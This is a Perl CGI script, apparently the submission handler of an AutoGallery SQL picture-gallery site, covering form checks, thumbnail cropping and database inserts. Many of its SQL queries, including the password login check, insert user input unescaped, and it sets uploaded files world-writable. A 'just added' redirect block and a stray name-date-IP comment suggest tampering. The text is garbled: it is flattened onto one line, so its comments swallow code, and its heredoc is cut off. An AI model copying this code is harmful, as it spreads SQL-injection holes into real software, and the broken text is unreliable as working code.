#!/usr/bin/perl ## -------------------------------------------- JUST ADDEDD -------------------------------------------- use CGI; $getHeader = new CGI; $helloworld = $getHeader -> param("test"); print $getHeader -> header(); print <

You are now redirecting to the current submission...

END_HTML ## -------------------------------------------- JUST ADDEDD -------------------------------------------- eval { require 'common.pl'; require 'ags.pl'; require 'mysql.pl'; require 'http.pl'; ## Header("Content-type: text/html\n\n"); Original, remove comment. main(); }; if( $@ ) { Error("$@", 'submit.cgi'); } sub main { ParseRequest(1); ## Display the submissions closed page if( !$SUBMIT_STATUS ) { ParseTemplate('submit_closed.tpl'); exit; } if( $ENV{'REQUEST_METHOD'} eq 'GET' ) { DisplaySubmit(); } else { ProcessPost(); } } ## Display the gallery submission page sub DisplaySubmit { my %number = (); my $total = 0; my $row = undef; my $available = 0; ## Add categories to the template GetCategoryList(); if( !scalar(@CATEGORIES) ) { SubmitError('E_NO_CATEGORIES'); } for( @CATEGORIES ) { my $H = {}; $H->{'Category'} = $_; TemplateAdd('Categories', $H); } $T{'HAVE_GD'} = $HAVE_GD; $T{'Submit_Status'} = $SUBMIT_STATUS; $T{'Width'} = $THUMB_WIDTH; $T{'Height'} = $THUMB_HEIGHT; ParseTemplate('submit_main.tpl'); } ## Display the thumbnail cropping page sub DisplayCrop { my $results = shift; $T{'Image_URL'} = "$THUMB_URL/$T{'Image_Name'}"; $T{'Thumb_URL'} = $THUMB_URL; $T{'Thumb_Height'} = $THUMB_HEIGHT; $T{'Thumb_Width'} = $THUMB_WIDTH; if( !$F{'Preview'} ) { for( my $i = 0; $i < scalar(@{$results->{'Thumbs'}}); $i++ ) { my $H = {}; $H->{'Thumbnail_URL'} = URLEncode($results->{'Thumbs'}[$i]); $H->{'Image_URL'} = $results->{'Type'} eq 'Pictures' ? URLEncode($results->{'Content'}[$i]) : $H->{'Thumbnail_URL'}; TemplateAdd('Thumbs', $H); } } ParseTemplate('submit_crop.tpl'); } ## Crop the thumbnail sub CropThumbnail { my $gallery = undef; if( -e "$THUMB_DIR/$F{'Gallery_ID'}.jpg" ) { unlink("$THUMB_DIR/$F{'Image_Name'}") if( -e "$THUMB_DIR/$F{'Image_Name'}" ); SubmitError('E_HAS_THUMB'); } require 'image.pl'; $sql->Connect(); ## Get gallery information $gallery = $sql->Row("SELECT * FROM ags_Galleries WHERE Gallery_ID='$F{'Gallery_ID'}'"); ## Crop and save the thumbnail ManualResize("$THUMB_DIR/$F{'Image_Name'}", $gallery->{'Category'}); rename("$THUMB_DIR/$F{'Image_Name'}", "$THUMB_DIR/$F{'Gallery_ID'}.jpg"); Mode(0666, "$THUMB_DIR/$F{'Gallery_ID'}.jpg"); ## Set the Has_Thumb value in the database $sql->Update("UPDATE ags_Galleries SET Has_Thumb=1 WHERE Gallery_ID='$F{'Gallery_ID'}'"); HashToTemplate($gallery); ## Send confirmation e-mail if( $O_CONFIRM_EMAIL ) { $T{'To'} = $gallery->{'Email'}; $T{'From'} = $ADMIN_EMAIL; $T{'Confirm_ID'} = $gallery->{'Confirm_ID'}; $T{'Confirm_URL'} = "$CGI_URL/confirm.cgi"; Mail("$TDIR/email_confirm.tpl"); } $T{'Has_Thumb'} = 1; $T{'Thumbnail_URL'} = "$THUMB_URL/$F{'Gallery_ID'}.jpg"; ## Display the submit_complete template ParseTemplate('submit_complete.tpl'); } #lemarx Thu Nov 27 07:00:27 2003 80.233.250.167 ## Process HTTP POST requests sub ProcessPost { my %map = ('D', 'DisplayUpload', 'U', 'UploadThumbnail', 'C', 'CropThumbnail', 'A', 'AccountData'); if( $map{$F{'Run'}} ) { &{$map{$F{'Run'}}}; } else { ProcessSubmission(); } } ## Process a gallery submission sub ProcessSubmission { my $hex_ip = IP2Hex($ENV{'REMOTE_ADDR'}); my $cpanel_id = undef; my $category = undef; my $status = undef; my $results = undef; my $icons = undef; my $account = {}; my $approve_date = 'NULL'; my $display_date = 'NULL'; my $display_stamp = 'NULL'; my $blacklisted = 0; my $whitelisted = 0; my $confirm_id = -1; my $has_thumb = 0; my $rating = 1; my $min_thumbs = 0; my $max_thumbs = 0; my $min_size = 0; ## Convert AutoGallery SQL v2.x.x form fields if( !$F{'Gallery_URL'} ) { $F{'Username'} = $F{'user'}; $F{'Password'} = $F{'pass'}; $F{'Gallery_URL'} = $F{'gurl'}; $F{'Category'} = $F{'cat'}; $F{'Thumbnails'} = $F{'pics'}; $F{'Code'} = $F{'phrase'}; $F{'Email'} = $F{'mail'} || "partner\@$ENV{'HTTP_HOST'}"; $F{'Description'} = $F{'gdes'} || $F{'desc'}; $F{'Preview'} = $F{'upfile'}; if( $F{'turl'} ) { $F{'Thumb_Source'} = 'Select'; } elsif( $F{'upfile'} ) { $F{'Thumb_Source'} = 'Upload'; } } ## Check form input SubmitError('E_BAD_EMAIL') if( $F{'Email'} !~ /^[\w\d][\w\d\,\.\-]*\@([\w\d\-]+\.)+([a-zA-Z]+)$/ ); SubmitError('E_BAD_URL') if( $F{'Gallery_URL'} !~ /^http:\/\/[\w\d\-\.]+\.[\w\d\-\.]+/ ); SubmitError('E_REQUIRED', 'DESCRIPTION') if( $O_NEED_DESC && !$F{'Description'} ); SubmitError('E_REQUIRED', 'NICKNAME') if( $O_NEED_NAME && !$F{'Nickname'} ); SubmitError('E_TOO_SHORT', 'DESCRIPTION') if( length($F{'Description'}) < $MIN_LENGTH ); SubmitError('E_TOO_LONG', 'DESCRIPTION') if( length($F{'Description'}) > $MAX_LENGTH ); SubmitError('E_NO_PASSWORD') if( $SUBMIT_STATUS eq 'Password' && !$F{'Password'} ); $sql->Connect(); ## See if maximum submissions have been reached if( $MAX_SUBMISSIONS != -1 ) { if( $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Submit_Date='$MYSQL_DATE'") >= $MAX_SUBMISSIONS ) { $sql->Disconnect(); ParseTemplate('submit_globalfull.tpl'); exit; } } ## If username/password was entered, check it if( $F{'Username'} || $F{'Password'} ) { $account = $sql->Row("SELECT * FROM ags_Accounts WHERE Password='$F{'Password'}' AND Account_ID='$F{'Username'}'"); if( !$account ) { SubmitError('E_BAD_PASSWORD'); } ## If global auto-approve is off, determine whether to auto-approve this gallery if( !$O_AUTO_APPROVE ) { $O_AUTO_APPROVE = $account->{'Auto_Approve'}; } $rating = $account->{'Rating'}; $icons = $account->{'Icons'}; } ## Check the submit code if( ($O_GEN_STRING && !$F{'Password'}) || ($O_TRUST_STRING && $F{'Password'}) ) { if( !$sql->Count("SELECT COUNT(*) FROM ags_Codes WHERE IP_Address='$hex_ip' AND Code='$F{'Code'}'") ) { SubmitError('E_BAD_CODE'); } } ## Check for good category $category = $sql->Row("SELECT * FROM ags_Categories WHERE Name='$F{'Category'}'"); if( !$category ) { SubmitError('E_BAD_CATEGORY'); } if( $category->{'Per_Day'} != -1 ) { my $current = $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Category='$category->{'Name'}' AND Submit_Date='$MYSQL_DATE'"); if( $current >= $category->{'Per_Day'} ) { $T{'Category'} = $category->{'Name'}; ParseTemplate('submit_categoryfull.tpl'); exit; } } ## Check for duplicate gallery URL if( $O_CHECK_DUPS && $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Gallery_URL='$F{'Gallery_URL'}'") ) { SubmitError('E_DUPLICATE'); } ## See if the gallery is whitelisted $whitelisted = IsWhitelisted($F{'Gallery_URL'}); ## Scan the gallery $results = ScanGallery($F{'Gallery_URL'}, $category, $account, $whitelisted); ## Setup min/max values based on the gallery type $min_thumbs = $category->{"Min_$results->{'Type'}"}; $max_thumbs = $category->{"Max_$results->{'Type'}"}; $min_size = $category->{"Size_$results->{'Type'}"}; ## Broken gallery URL if( $results->{'Errstr'} ) { SubmitError('E_BROKEN_URL', $results->{'Errstr'}); } ## Check the blacklist $F{'Submit_IP'} = $ENV{'REMOTE_ADDR'}; if( !$whitelisted ) { $blacklisted = IsBlacklisted(\%F); } if( $blacklisted && !$O_TRANSPARENT ) { SubmitError('E_BLACKLISTED', $blacklisted->{'Item'}); } ## Check for banned HTML if( $results->{'Has_Banned'} ) { if( !$account->{'Account_ID'} || !$account->{'HTML'} ) { $blacklisted = 1; SubmitError('E_BAD_HTML') if( !$O_TRANSPARENT ) } } ## Check reciprocal link if( (!$account->{'Account_ID'} && $O_NEED_RECIP) || ($account->{'Recip'}) ) { SubmitError('E_NO_RECIP') if( !$results->{'Has_Recip'} ); } ## Give a rating boost for a recip if( $O_BOOST_RATING && $results->{'Has_Recip'} ) { $rating++; } ## Override the submitted thumbnail count if( $O_COUNT_THUMBS ) { $F{'Thumbnails'} = $results->{'Thumbnails'}; } ## Make sure thumb count is within the min/max SubmitError('E_MIN_THUMBS', $min_thumbs) if( $F{'Thumbnails'} < $min_thumbs ); SubmitError('E_MAX_THUMBS', $max_thumbs) if( $F{'Thumbnails'} > $max_thumbs ); ## Check the number of external links if( $O_CHECK_LINKS ) { SubmitError('E_EXCESSIVE_LINKS', $LINKS) if( $results->{'Links'} > $LINKS ); } ## Check the mimimum content size if( $O_CHECK_SIZE ) { SubmitError('E_MIN_SIZE', "$min_size bytes") if( $results->{'Size'} <= $min_size ); } ## Check download speed if( $O_CHECK_SPEED ) { SubmitError('E_TOO_SLOW', "$SPEED KB/s") if( $results->{'Speed'} <= $SPEED ); } ## Change the text case of the description ChangeCase(\$F{'Description'}, $TEXT_CASE); ## If the source was an upload, see if a thumb was actually provided if( $F{'Thumb_Source'} eq 'Upload' ) { ## No thumbnail uploaded if( !$F{'Preview'} ) { if( $O_SELECT_THUMB ) { $THUMB_NO_MATCH = 'AutoCrop'; $F{'Preview'} = SelectThumbnail($results); } elsif( $O_NEED_THUMB ) { SubmitError('E_NO_THUMB'); } } ## Make sure browser is capable of manual crop if( $THUMB_NO_MATCH eq 'ManualCrop' && BadBrowser() ) { $THUMB_NO_MATCH = 'AutoCrop'; } } ## Automatically selecting a thumbnail elsif( $F{'Thumb_Source'} eq 'Select' ) { $THUMB_NO_MATCH = 'AutoCrop'; $F{'Preview'} = SelectThumbnail($results); } ## Select and crop a thumbnail else { $F{'Preview'} = undef; } ## Not allowing thumbnails if( !$O_ALLOW_THUMB ) { $F{'Thumb_Source'} = 'Select'; $F{'Preview'} = undef; } if( $F{'Preview'} ) { require 'size.pl'; my($x, $y, $id) = imgsize(\$F{'Preview'}); if( !$x ) { SubmitError('E_BAD_IMAGE'); } ## Dimensions or filesize are not valid if( ($O_FORCE_DIMS && ($x != $THUMB_WIDTH || $y != $THUMB_HEIGHT)) || ($x > $THUMB_WIDTH || $y > $THUMB_HEIGHT) || (length($F{'Preview'}) > $THUMB_SIZE) ) { if( $THUMB_NO_MATCH eq 'AutoCrop' ) { require 'image.pl'; AutoResize(\$F{'Preview'}, "t$hex_ip", $F{'Category'}); $has_thumb = 1; } elsif( $THUMB_NO_MATCH eq 'Reject' ) { SubmitError('E_THUMB_SIZE'); } else { $F{'Thumb_Source'} = 'Crop'; FileWrite("$THUMB_DIR/t$hex_ip.jpg", $F{'Preview'}); } } ## Good dimensions else { FileWrite("$THUMB_DIR/t$hex_ip.jpg", $F{'Preview'}); if( $O_ANNOTATE ) { require 'image.pl'; Annotate("$THUMB_DIR/t$hex_ip.jpg", $F{'Category'}); } $has_thumb = 1; } $F{'Preview'} = 1; } ## Setup the status if( $O_CONFIRM_EMAIL ) { $confirm_id = int(rand(999999999)); $status = 'Unconfirmed'; } elsif( $O_AUTO_APPROVE ) { $cpanel_id = 'Auto-Approved'; $status = 'Approved'; $approve_date = "'$MYSQL_DATE'"; $display_date = "'" . GetAvailableDate(Date('%Y-%m-%d', '%q', ($O_TODAY ? $TIME : $TIME + 86400)), $category) . "'"; $display_stamp = $TIME; } else { $status = 'Pending'; } ## Check the number of submitted galleries if( $account->{'Account_ID'} ) { if( $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Submit_Date='$MYSQL_DATE' AND Account_ID='$account->{'Account_ID'}'") >= $account->{'Allowed'} ) { SubmitError('E_LIMIT_REACHED'); } } else { if( $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Submit_Date='$MYSQL_DATE' AND (Submit_IP='$ENV{'REMOTE_ADDR'}' OR Email='$F{'Email'}' OR Gallery_URL LIKE '" . LevelUpURL($F{'Gallery_URL'}) . "%')") >= $MAX_PERSON ) { SubmitError('E_LIMIT_REACHED'); } } ## Check the page ID if( $O_CHECK_PAGEID ) { if( $sql->Count("SELECT COUNT(*) FROM ags_Galleries WHERE Page_ID='$results->{'Page_ID'}'") ) { SubmitError('E_SAME_CONTENT'); } } ## Remove submit code from the database if( $F{'Code'} ) { $sql->Delete("DELETE FROM ags_Codes WHERE Code='$F{'Code'}'"); } HashToTemplate(\%F); $T{'Status'} = $status; ## Transparently accept blacklisted galleries if( $blacklisted ) { FileRemove("$THUMB_DIR/t$hex_ip.jpg") if( -e "$THUMB_DIR/t$hex_ip.jpg" ); $T{'Gallery_ID'} = int(rand(9999)) + 287; ParseTemplate('submit_complete.tpl'); exit; } ## Update the submit count if this is a partner if( $account->{'Account_ID'} ) { $sql->Update("UPDATE ags_Accounts SET Submitted = Submitted + 1 WHERE Account_ID='$account->{'Account_ID'}'"); } AddSlashes(\%F); $sql->Insert("INSERT INTO ags_Galleries VALUES (" . "NULL, " . "'$F{'Email'}', " . "'$F{'Gallery_URL'}', " . "'$F{'Description'}', " . "'$F{'Thumbnails'}', " . "'$F{'Category'}', " . "$has_thumb, " . "$rating, " . "'$F{'Nickname'}', " . "0, " . "'$status', " . "0, " . "$confirm_id, " . "'$MYSQL_DATE', " . "$approve_date, " . "$display_date, " . "$display_stamp, " . "'$account->{'Account_ID'}', " . "'$cpanel_id', " . "'$ENV{'REMOTE_ADDR'}', " . "'$results->{'Gallery_IP'}', " . "1, " . "$results->{'Links'}, " . "$results->{'Has_Recip'}, " . "$results->{'Bytes'}, " . "'$results->{'Page_ID'}', " . "'$results->{'Speed'}', " . "'$icons')"); $T{'Gallery_ID'} = $sql->InsertID(); $T{'Has_Thumb'} = $has_thumb; $T{'Thumbnail_URL'} = "$THUMB_URL/$T{'Gallery_ID'}.jpg"; ## Add to the e-mail log $DEL = "\n"; DBInsert("$DDIR/emails", $F{'Email'}); $DEL = '|'; if( $F{'Thumb_Source'} eq 'Crop' ) { $T{'Image_Name'} = "t$hex_ip.jpg"; DisplayCrop($results); } else { if( -e "$THUMB_DIR/t$hex_ip.jpg" ) { rename("$THUMB_DIR/t$hex_ip.jpg", "$THUMB_DIR/$T{'Gallery_ID'}.jpg"); Mode(0666, "$THUMB_DIR/$T{'Gallery_ID'}.jpg"); } if( $O_CONFIRM_EMAIL ) { $T{'To'} = $F{'Email'}; $T{'From'} = $ADMIN_EMAIL; $T{'Confirm_ID'} = $confirm_id; $T{'Confirm_URL'} = "$CGI_URL/confirm.cgi"; Mail("$TDIR/email_confirm.tpl"); } ParseTemplate('submit_complete.tpl'); } }